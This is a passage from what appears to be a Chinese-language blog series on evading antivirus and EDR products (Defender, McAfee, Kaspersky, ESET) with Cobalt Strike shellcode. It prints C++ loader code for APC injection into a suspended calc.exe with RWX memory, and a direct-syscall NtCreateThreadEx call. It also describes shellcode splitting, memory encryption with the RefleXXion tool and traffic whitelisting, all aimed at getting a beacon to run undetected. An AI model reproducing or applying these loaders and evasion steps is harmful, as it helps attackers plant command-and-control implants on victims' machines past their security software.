异或的操作，比较可疑，经过测试发现是cs的shellcode出现在数组里就报毒，应该是对内存进行的扫描。

所以我们可以使用《文章二》中提及的技术“规避常见的恶意API调用模式”，将shellcode分片直接写入连续内存。

在测试的过程中发现莫名其妙的过了查杀:

很神奇，这段并没有实现内存的切片写入，因为shellcode的大小没有达到4096，实际上相当于直接分配了个大小为4096的数组，写入了shellcode。

而且把这段代码相同的格式放外面就不行，个人感觉definder还是没有去检查内存。

可能是有语义分析的引擎，这次刚好绕过了语义分析。

macfee

同上方法可以成功bypass：

正常执行命令：

kasperky Endpoint 11 for windows

用过macfee和definder的demo2测试失败，注释掉代码加载部分不报毒，改用apc和创建进程的的方式加载内存：

SIZE_T shellSize = 4096;
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };

CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
HANDLE victimProcess = pi.hProcess;
HANDLE threadHandle = pi.hThread;

LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;

WriteProcessMemory(victimProcess, shellAddress, exec, shellSize, NULL);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);

依旧不行：

使用syscall调用NtCreateThreadEx。这里被坑了，WaitForSingleObject要使用，不然会异步，没法上线：

ANtCTE(
    &hThread,
    THREAD_ALL_ACCESS,
    NULL,
    GetCurrentProcess(),
    (LPTHREAD_START_ROUTINE)exec,
    NULL,
    NULL,
    0,
    0,
    0,
    nullptr
);
WaitForSingleObject(hThread, INFINITE);

能看到效果,行为检测依旧有问题:

但漏洞利用防御已经没有相关报警:

怀疑是cs本身流量特征的问题，为了验证我使用卡巴斯基本身的功能禁用了网络请求：

确实不杀也不报警了，确定是cs通信的问题。

ESET Endpoint Security

demo3报警，并且明显检测到网络连接行为

静态没有问题

主要应该还是在对内存的检测，而且感觉已经执行到了发包

下面根据《三》中的“beacon的内存加密”对demo3进行优化,使用RefleXXion工具的第二种将内存设为NO_ACCESS并通过注册异常处理还原的方式进行免杀。

设置流量的白名单：

关闭web控制后成功并上线

eset在持续在扫描内存，但一直没有权限，一直触发异常，无法进入正常的后门逻辑

能绕过内存的检测，但无法正常使用

感觉ESET一直在我程序里进行内存操作，访问到了不可访问的内存段。

可能ESET的机制是一直在扫描程序内存，也可能是想要做一些hook。

我尝试使用RefleXXion的第一种方法，将shellcode加密并使属性为RW或RX的方式加载shellcode:

可以成功上线，并且正常使用：

总结

该系列文章所有的bypass edr方法都只在用户态进行操作，已经能规避大多数AV/EDR的检测。但不乏一些edr进行了比较多的内核层面的限制，如炭黑、fireeye等。